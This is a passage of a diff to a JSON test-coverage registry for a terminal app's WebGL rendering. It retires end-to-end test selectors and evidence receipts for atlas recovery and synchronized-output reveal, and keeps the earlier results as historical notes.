scheduling and its mock boundary alarms are intentionally lost. The changed source has no transferred historical pass, timing or equivalent-rendered-coverage claim. Independent unchanged headed Electron receipts retain only their original exact scopes; static metadata/source review is no fresh execution evidence. The entire dated 98-contract renderer receipt is retired whole, with all original command/currentCommand/date/count/result fields preserved as historical. Historical prior account (preserved verbatim): A headed macOS Electron test drives explicit destructive atlas recovery while DEC 2026 output is held, then compares compositor screenshots before and after a direct full-buffer present. The same renderer choreography is provider-local, but daemon, SSH, remote-runtime, Linux, and Windows GPU runs remain gaps. The test-value audit removed registry recovery fanout, visibility, ordering and failure-isolation assertions. The remaining registry test constrains diagnostic sampling only and is excluded from this gate. No equivalent recovery coverage is claimed. The audit removes the canvas-DPR and render-pause-release unit suites and several renderer flag/retry examples. Their isolated DPR-cache, render-service routing and display-none retry alarms are no longer registered; retained unit and historical Electron evidence do not establish equivalent coverage. No live GPU rerun accompanies this administrative update.", + "coveredPlatforms": [], + "coveredProviders": [], + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts, src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts, src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts, src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence. Historical prior account (preserved verbatim): Audit3335 retires the complete mocked window-wake recovery suite (11 authored registrations/12 expanded cases), intentionally losing fullscreen atlas-preservation, wake callback ordering, deferred-DPR deduplication/repair and private frame-budget alarms without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/GPU/focus, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit1948: Audit1944 keeps the two snapshot/imageless restore cases but removes three real-clock delayed-scheduling/null-retry cases from pty-connection-hidden-runtime-snapshot.test.ts. Inactive split scheduling and its mock boundary alarms are intentionally lost. The changed source has no transferred historical pass, timing or equivalent-rendered-coverage claim. Independent unchanged headed Electron receipts retain only their original exact scopes; static metadata/source review is no fresh execution evidence. The entire dated 98-contract renderer receipt is retired whole, with all original command/currentCommand/date/count/result fields preserved as historical. Historical prior account (preserved verbatim): A headed macOS Electron test drives explicit destructive atlas recovery while DEC 2026 output is held, then compares compositor screenshots before and after a direct full-buffer present. The same renderer choreography is provider-local, but daemon, SSH, remote-runtime, Linux, and Windows GPU runs remain gaps. The test-value audit removed registry recovery fanout, visibility, ordering and failure-isolation assertions. The remaining registry test constrains diagnostic sampling only and is excluded from this gate. No equivalent recovery coverage is claimed. The audit removes the canvas-DPR and render-pause-release unit suites and several renderer flag/retry examples. Their isolated DPR-cache, render-service routing and display-none retry alarms are no longer registered; retained unit and historical Electron evidence do not establish equivalent coverage. No live GPU rerun accompanies this administrative update.", "motivatingLinks": [ "https://github.com/stablyai/orca/pull/7133", "https://github.com/stablyai/orca/pull/7054" ], "invariant": "After proven renderer damage triggers destructive recovery, visible pixels equal a full model-invalidating present of the current buffer.", - "oracle": "Audit3335 retires the complete mocked window-wake recovery suite (11 authored registrations/12 expanded cases), intentionally losing fullscreen atlas-preservation, wake callback ordering, deferred-DPR deduplication/repair and private frame-budget alarms without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/GPU/focus, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit1948: Audit1944 keeps the two snapshot/imageless restore cases but removes three real-clock delayed-scheduling/null-retry cases from pty-connection-hidden-runtime-snapshot.test.ts. Inactive split scheduling and its mock boundary alarms are intentionally lost. The changed source has no transferred historical pass, timing or equivalent-rendered-coverage claim. Independent unchanged headed Electron receipts retain only their original exact scopes; static metadata/source review is no fresh execution evidence. Historical prior account (preserved verbatim): Hold DEC 2026, invoke explicit atlas recovery, require an atlas clear, screenshot the pane, force a direct renderer present, and assert the bounded pixel diff is immaterial. Compositor screenshots only, because WebGL canvas readback is blank with preserveDrawingBuffer disabled.", - "commands": [ - "pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "ORCA_E2E_RECORD_VIDEO=1 pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1 --repeat-each=3" - ], - "testFiles": ["tests/e2e/terminal-reveal-paused-render-repro.spec.ts"], - "assertionRefs": [ - { - "file": "tests/e2e/terminal-reveal-paused-render-repro.spec.ts", - "assertions": ["@headful atlas recovery presents a synchronized-output WebGL frame"] - } - ], - "evidenceRuns": [ - { - "date": "2026-08-23", - "runner": "local", - "platform": "macos", - "command": "pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "result": "passed", - "durationSeconds": 60, - "summary": "Both headed oracles passed together. Explicit destructive atlas recovery presented the held synchronized-output buffer with zero pixels different from a direct renderer present; the test attached before/after screenshots plus pixel-diff metadata." - }, - { - "date": "2026-08-22", - "runner": "local", - "platform": "macos", - "command": "ORCA_E2E_RECORD_VIDEO=1 pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1 --repeat-each=3", - "result": "passed", - "durationSeconds": 48, - "summary": "Three consecutive headed real-WebGL runs passed in 15.0-15.7 seconds each and emitted a 1920x1080 video per BrowserWindow." - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit3335 retires the complete mocked window-wake recovery suite (11 authored registrations/12 expanded cases), intentionally losing fullscreen atlas-preservation, wake callback ordering, deferred-DPR deduplication/repair and private frame-budget alarms without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/GPU/focus, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit1948: Audit1944 keeps the two snapshot/imageless restore cases but removes three real-clock delayed-scheduling/null-retry cases from pty-connection-hidden-runtime-snapshot.test.ts. Inactive split scheduling and its mock boundary alarms are intentionally lost. The changed source has no transferred historical pass, timing or equivalent-rendered-coverage claim. Independent unchanged headed Electron receipts retain only their original exact scopes; static metadata/source review is no fresh execution evidence. Historical prior account (preserved verbatim): Hold DEC 2026, invoke explicit atlas recovery, require an atlas clear, screenshot the pane, force a direct renderer present, and assert the bounded pixel diff is immaterial. Compositor screenshots only, because WebGL canvas readback is blank with preserveDrawingBuffer disabled.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 120, - "scope": "focused prebuilt headed Electron visual test" + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. focused prebuilt headed Electron visual test" }, "flakeHistory": { - "status": "unknown", - "evidence": "Five local macOS headed runs passed, including one on the final branch state and three consecutive video-recorded repeats; CI soak history and cross-platform GPU runs are not yet available." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Five local macOS headed runs passed, including one on the final branch state and three consecutive video-recorded repeats; CI soak history and cross-platform GPU runs are not yet available." }, "redGreenEvidence": { - "status": "complete", - "evidence": "Without the forced synchronized-output present, the damaged compositor differed from a direct renderer present across 87.68% of pixels even though serialization already contained the new frame. With explicit destructive recovery, the same oracle passes the 1.5% material-diff threshold. Historical evidence includes assertions subsequently removed in the test-value audit; it does not establish their current coverage." + "status": "missing", + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Without the forced synchronized-output present, the damaged compositor differed from a direct renderer present across 87.68% of pixels even though serialization already contained the new frame. With explicit destructive recovery, the same oracle passes the 1.5% material-diff threshold. Historical evidence includes assertions subsequently removed in the test-value audit; it does not establish their current coverage." }, "performanceBudget": { "required": true, - "evidence": "Destructive recovery remains event-driven and limited to confirmed renderer-lifecycle boundaries. Gate-local contracts prove ordinary same-DPR resize performs zero pane scans; a true transition scans only the visible manager; unavailable canvas retry is deduplicated and capped at 16 frames; and heavy reveal adds one bounded visible-pane scan. Registry visible-only fanout assertions were removed in the test-value audit; historical results do not establish their current coverage." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Destructive recovery remains event-driven and limited to confirmed renderer-lifecycle boundaries. Gate-local contracts prove ordinary same-DPR resize performs zero pane scans; a true transition scans only the visible manager; unavailable canvas retry is deduplicated and capped at 16 frames; and heavy reveal adds one bounded visible-pane scan. Registry visible-only fanout assertions were removed in the test-value audit; historical results do not establish their current coverage." }, "promotionCriteria": [ "Establish a stable material-diff threshold across platforms via nightly runs.", @@ -11538,7 +10176,12 @@ "Audit1948 historical original evidenceRuns object, preserved verbatim; retired objects are not active execution evidence or replacement coverage:\n{\n \"date\": \"2026-08-23\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-connection-hidden-backlog-snapshot.test.ts src/renderer/src/components/terminal-pane/terminal-visibility-resume.test.ts src/renderer/src/components/terminal-pane/use-terminal-window-wake-recovery.test.ts src/renderer/src/lib/pane-manager/pane-manager-registry.test.ts src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts src/renderer/src/lib/pane-manager/terminal-canvas-dpr-repair.test.ts src/renderer/src/lib/pane-manager/terminal-render-pause-release.test.ts\",\n \"result\": \"passed\",\n \"durationSeconds\": 2,\n \"summary\": \"All 98 renderer contracts passed, including same-DPR zero-scan behavior, visible-only fanout, tri-state DPR repair, deduplicated bounded retry, heavy-reveal repair, and listener cleanup. Historical command preserved after the test-value audit removed the referenced reveal/repaint or registry recovery assertions. currentCommand is an administrative link; this historical run has not validated the remaining command or equivalent coverage. Administrative command maintenance removes deleted unit suites; the executed command and result are historical, with no rerun or equivalence claim.\",\n \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-window-wake-recovery.test.ts src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts\"\n }", "Audit3335 retires the complete mocked window-wake recovery suite (11 authored registrations/12 expanded cases), intentionally losing fullscreen atlas-preservation, wake callback ordering, deferred-DPR deduplication/repair and private frame-budget alarms without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/GPU/focus, rendered UI, mobile, mixed-version or cross-platform validation is claimed.", "NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts, src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts, src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts, src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence.", - "NEXT46 historical original active selector fields (verbatim JSON values; not current coverage):\ncommands: [\n \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts\",\n \"ORCA_E2E_RECORD_VIDEO=1 pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1 --repeat-each=3\"\n ]\ntestFiles: [\n \"src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts\",\n \"src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts\",\n \"src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts\",\n \"src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts\",\n \"tests/e2e/terminal-reveal-paused-render-repro.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts\",\n \"assertions\": [\"defers a heavy-reveal dpr present until the shared atlas recovery\"]\n },\n {\n \"file\": \"tests/e2e/terminal-reveal-paused-render-repro.spec.ts\",\n \"assertions\": [\"@headful atlas recovery presents a synchronized-output WebGL frame\"]\n }\n ]" + "NEXT46 historical original active selector fields (verbatim JSON values; not current coverage):\ncommands: [\n \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts\",\n \"ORCA_E2E_RECORD_VIDEO=1 pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1 --repeat-each=3\"\n ]\ntestFiles: [\n \"src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts\",\n \"src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts\",\n \"src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts\",\n \"src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts\",\n \"tests/e2e/terminal-reveal-paused-render-repro.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts\",\n \"assertions\": [\"defers a heavy-reveal dpr present until the shared atlas recovery\"]\n },\n {\n \"file\": \"tests/e2e/terminal-reveal-paused-render-repro.spec.ts\",\n \"assertions\": [\"@headful atlas recovery presents a synchronized-output WebGL frame\"]\n }\n ]", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-23\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 60,\n \"summary\": \"Both headed oracles passed together. Explicit destructive atlas recovery presented the held synchronized-output buffer with zero pixels different from a direct renderer present; the test attached before/after screenshots plus pixel-diff metadata.\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-22\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"ORCA_E2E_RECORD_VIDEO=1 pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1 --repeat-each=3\",\n \"result\": \"passed\",\n \"durationSeconds\": 48,\n \"summary\": \"Three consecutive headed real-WebGL runs passed in 15.0-15.7 seconds each and emitted a 1920x1080 video per BrowserWindow.\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"ORCA_E2E_RECORD_VIDEO=1 pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1 --repeat-each=3\"\n ]\ntestFiles: [\"tests/e2e/terminal-reveal-paused-render-repro.spec.ts\"]\nassertionRefs: [\n {\n \"file\": \"tests/e2e/terminal-reveal-paused-render-repro.spec.ts\",\n \"assertions\": [\"@headful atlas recovery presents a synchronized-output WebGL frame\"]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[],\"testFiles\":[],\"assertionRefs\":[]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[\"local\"],\"redGreenEvidence\":{\"status\":\"complete\",\"evidence\":\"Without the forced synchronized-output present, the damaged compositor differed from a direct renderer present across 87.68% of pixels even though serialization already contained the new frame. With explicit destructive recovery, the same oracle passes the 1.5% material-diff threshold. Historical evidence includes assertions subsequently removed in the test-value audit; it does not establish their current coverage.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"Five local macOS headed runs passed, including one on the final branch state and three consecutive video-recorded repeats; CI soak history and cross-platform GPU runs are not yet available.\"},\"runtimeBudget\":{\"p95Seconds\":120,\"scope\":\"focused prebuilt headed Electron visual test\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Destructive recovery remains event-driven and limited to confirmed renderer-lifecycle boundaries. Gate-local contracts prove ordinary same-DPR resize performs zero pane scans; a true transition scans only the visible manager; unavailable canvas retry is deduplicated and capped at 16 frames; and heavy reveal adds one bounded visible-pane scan. Registry visible-only fanout assertions were removed in the test-value audit; historical results do not establish their current coverage.\"}}" ], "demotionRule": "Drop from the golden suite back to nightly diagnostic if diff thresholds cannot be kept stable across CI runners." }, @@ -11546,59 +10189,40 @@ "id": "terminal-render.synchronized-reveal-coherence", "title": "Ordinary reveal preserves synchronized-output frame coherence", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "terminal-rendering", "layer": "electron-visual-golden", "surfaces": ["WebGL rendering", "tab reveal", "snapshot restore", "DEC 2026"], "platforms": ["macos", "linux", "windows"], "providers": ["local", "daemon", "ssh", "remote-runtime"], - "coveredPlatforms": ["macos"], - "coveredProviders": ["local"], - "coverageNotes": "NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts, src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts, src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts, src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1948: Audit1944 keeps the two snapshot/imageless restore cases but removes three real-clock delayed-scheduling/null-retry cases from pty-connection-hidden-runtime-snapshot.test.ts. Inactive split scheduling and its mock boundary alarms are intentionally lost. The changed source has no transferred historical pass, timing or equivalent-rendered-coverage claim. Independent unchanged headed Electron receipts retain only their original exact scopes; static metadata/source review is no fresh execution evidence. Historical prior account (preserved verbatim): A headed macOS Electron test uses a real xterm WebGL renderer and production tab reveal. It proves the coherent pre-hide canvas remains visible while DEC 2026 holds a newer buffer, then proves normal release and xterm's one-second watchdog publish complete frames. Renderer behavior is provider-neutral; live Linux, Windows, daemon, SSH, and remote-runtime GPU runs remain gaps. The audit removes isolated synchronized-frame viewport-present and render-pause-release unit examples. The historical headed Electron oracle remains recorded; retained scheduling tests do not establish equivalent render-service routing or completed-frame coverage. No live GPU rerun accompanies this administrative update.", + "coveredPlatforms": [], + "coveredProviders": [], + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts, src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts, src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts, src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1948: Audit1944 keeps the two snapshot/imageless restore cases but removes three real-clock delayed-scheduling/null-retry cases from pty-connection-hidden-runtime-snapshot.test.ts. Inactive split scheduling and its mock boundary alarms are intentionally lost. The changed source has no transferred historical pass, timing or equivalent-rendered-coverage claim. Independent unchanged headed Electron receipts retain only their original exact scopes; static metadata/source review is no fresh execution evidence. Historical prior account (preserved verbatim): A headed macOS Electron test uses a real xterm WebGL renderer and production tab reveal. It proves the coherent pre-hide canvas remains visible while DEC 2026 holds a newer buffer, then proves normal release and xterm's one-second watchdog publish complete frames. Renderer behavior is provider-neutral; live Linux, Windows, daemon, SSH, and remote-runtime GPU runs remain gaps. The audit removes isolated synchronized-frame viewport-present and render-pause-release unit examples. The historical headed Electron oracle remains recorded; retained scheduling tests do not establish equivalent render-service routing or completed-frame coverage. No live GPU rerun accompanies this administrative update.", "motivatingLinks": [ "https://github.com/stablyai/orca/pull/7133", "https://github.com/stablyai/orca/pull/7054" ], "invariant": "terminal-render.synchronized-reveal-coherence: an ordinary reveal never clears a healthy shared atlas or publishes a partially built DEC 2026 frame; it retains the last coherent canvas until release or xterm's bounded watchdog.", - "oracle": "Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1948: Audit1944 keeps the two snapshot/imageless restore cases but removes three real-clock delayed-scheduling/null-retry cases from pty-connection-hidden-runtime-snapshot.test.ts. Inactive split scheduling and its mock boundary alarms are intentionally lost. The changed source has no transferred historical pass, timing or equivalent-rendered-coverage claim. Independent unchanged headed Electron receipts retain only their original exact scopes; static metadata/source review is no fresh execution evidence. Historical prior account (preserved verbatim): Paint and capture a coherent frame, hide the real terminal tab, build a distinct full-screen frame while DEC 2026 is held, reveal through production, and require zero atlas clears plus pixel-equivalence with the coherent frame. Then release normally and through the one-second watchdog, requiring both compositor frames to match a direct renderer present.", - "commands": [ - "pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1" - ], - "testFiles": ["tests/e2e/terminal-reveal-paused-render-repro.spec.ts"], - "assertionRefs": [ - { - "file": "tests/e2e/terminal-reveal-paused-render-repro.spec.ts", - "assertions": [ - "@headful reveal preserves the coherent frame until synchronized output releases" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-08-23", - "runner": "local", - "platform": "macos", - "command": "pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "result": "passed", - "durationSeconds": 53, - "summary": "Both final-head headed oracles passed together. The coherent held frame differed by 73 of 1,404,288 pixels (0.0052%), ordinary reveal performed zero atlas clears, normal release differed from the direct present by 95 pixels (0.0068%), and watchdog release matched exactly. All three ratios passed the 1.5% compositor threshold." - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1948: Audit1944 keeps the two snapshot/imageless restore cases but removes three real-clock delayed-scheduling/null-retry cases from pty-connection-hidden-runtime-snapshot.test.ts. Inactive split scheduling and its mock boundary alarms are intentionally lost. The changed source has no transferred historical pass, timing or equivalent-rendered-coverage claim. Independent unchanged headed Electron receipts retain only their original exact scopes; static metadata/source review is no fresh execution evidence. Historical prior account (preserved verbatim): Paint and capture a coherent frame, hide the real terminal tab, build a distinct full-screen frame while DEC 2026 is held, reveal through production, and require zero atlas clears plus pixel-equivalence with the coherent frame. Then release normally and through the one-second watchdog, requiring both compositor frames to match a direct renderer present.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 120, - "scope": "focused prebuilt headed Electron prevention and watchdog test" + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. focused prebuilt headed Electron prevention and watchdog test" }, "flakeHistory": { - "status": "unknown", - "evidence": "One final watchdog-inclusive macOS headed run passed; CI soak history and cross-platform GPU runs are not yet available." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: One final watchdog-inclusive macOS headed run passed; CI soak history and cross-platform GPU runs are not yet available." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Before the prevention change, the ordinary reveal oracle failed deterministically because it observed three atlas clears. After the change, reveal performs zero clears and the first visible frame remains pixel-equivalent to the coherent pre-hide frame." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Before the prevention change, the ordinary reveal oracle failed deterministically because it observed three atlas clears. After the change, reveal performs zero clears and the first visible frame remains pixel-equivalent to the coherent pre-hide frame." }, "performanceBudget": { "required": true, - "evidence": "Ordinary reveal removes three shared-atlas clears and their global visible-manager presents. It adds one settled, event-driven full-viewport refresh request per revealed pane; DEC 2026 coalesces it and uses xterm's existing one-second watchdog. No polling, subprocess, provider call, PTY inventory, background-output work, listener, or unbounded retry was added; the display-none retry remains deduplicated and capped at 16 frames." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Ordinary reveal removes three shared-atlas clears and their global visible-manager presents. It adds one settled, event-driven full-viewport refresh request per revealed pane; DEC 2026 coalesces it and uses xterm's existing one-second watchdog. No polling, subprocess, provider call, PTY inventory, background-output work, listener, or unbounded retry was added; the display-none retry remains deduplicated and capped at 16 frames." }, "promotionCriteria": [ "Accumulate stable macOS runs for both normal release and watchdog release.", @@ -11613,7 +10237,11 @@ "The audit removes isolated synchronized-frame viewport-present and render-pause-release unit examples. The historical headed Electron oracle remains recorded; retained scheduling tests do not establish equivalent render-service routing or completed-frame coverage. No live GPU rerun accompanies this administrative update.", "Audit1948: Audit1944 keeps the two snapshot/imageless restore cases but removes three real-clock delayed-scheduling/null-retry cases from pty-connection-hidden-runtime-snapshot.test.ts. Inactive split scheduling and its mock boundary alarms are intentionally lost. The changed source has no transferred historical pass, timing or equivalent-rendered-coverage claim. Independent unchanged headed Electron receipts retain only their original exact scopes; static metadata/source review is no fresh execution evidence.", "NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts, src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts, src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts, src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence.", - "NEXT46 historical original active selector fields (verbatim JSON values; not current coverage):\ncommands: [\n \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts\"\n ]\ntestFiles: [\n \"src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts\",\n \"src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts\",\n \"src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts\",\n \"src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts\",\n \"tests/e2e/terminal-reveal-paused-render-repro.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts\",\n \"assertions\": [\n \"schedules an atlas-preserving present on a light tab reveal\",\n \"keeps heavy atlas recovery off a plain window refocus\"\n ]\n },\n {\n \"file\": 